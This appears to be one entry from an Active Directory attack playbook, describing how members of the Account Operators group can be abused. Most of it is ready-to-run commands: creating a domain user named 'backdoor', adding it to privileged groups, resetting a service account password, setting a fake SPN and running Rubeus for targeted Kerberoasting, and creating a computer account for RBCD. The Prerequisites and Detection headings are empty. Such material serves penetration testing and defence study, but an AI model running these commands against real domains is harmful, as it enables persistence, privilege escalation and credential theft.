🟣 Attack #50 — Abusing Account Operators Group

📖 How It Works

Account Operators can create, modify, and delete most user and group accounts in the domain (excluding protected admin accounts). They can also log on to Domain Controllers locally. An Account Operator can create a new user and add it to non-protected groups, modify existing service accounts, or reset passwords on non-admin users to pivot deeper.

⚙️ Prerequisites

💻 Full Commands

# ── Create new user ───────────────────────────────────────────────────────────
net user backdoor P@ssword123! /add /domain

# ── Add to groups (non-protected) ─────────────────────────────────────────────
net group "SQL Admins" backdoor /add /domain
net group "Remote Desktop Users" backdoor /add /domain
# ⚠️ Cannot add to DA/EA/Schema Admins (protected by AdminSDHolder)

# ── Reset non-admin user passwords ────────────────────────────────────────────
net user svc_backup NewP@ss123! /domain

# ── Modify service accounts (set SPN for Kerberoasting) ──────────────────────
Set-DomainObject -Identity svc_target -Set @{serviceprincipalname='fake/kerbroast'}
.\Rubeus.exe kerberoast /user:svc_target

# ── Create computer account (bypass MAQ) ──────────────────────────────────────
New-ADComputer -Name "FAKE01" -SamAccountName "FAKE01$" -Enabled $true

🛡️ Detection — Event IDs

🔗 Attack Chain Context

[Account Operators] ──→ Create/modify accounts → pivot deeper
         │
         ├──→ 🔑 Reset service account passwords → access databases/services
         ├──→ 🎫 Set SPNs → targeted Kerberoasting (#2)
         ├──→ 💻 Create computer accounts → RBCD (#17)
         └──→ 💀 Defeated by: minimize Account Operators membership

✅ Attack #50 — Account Operators complete.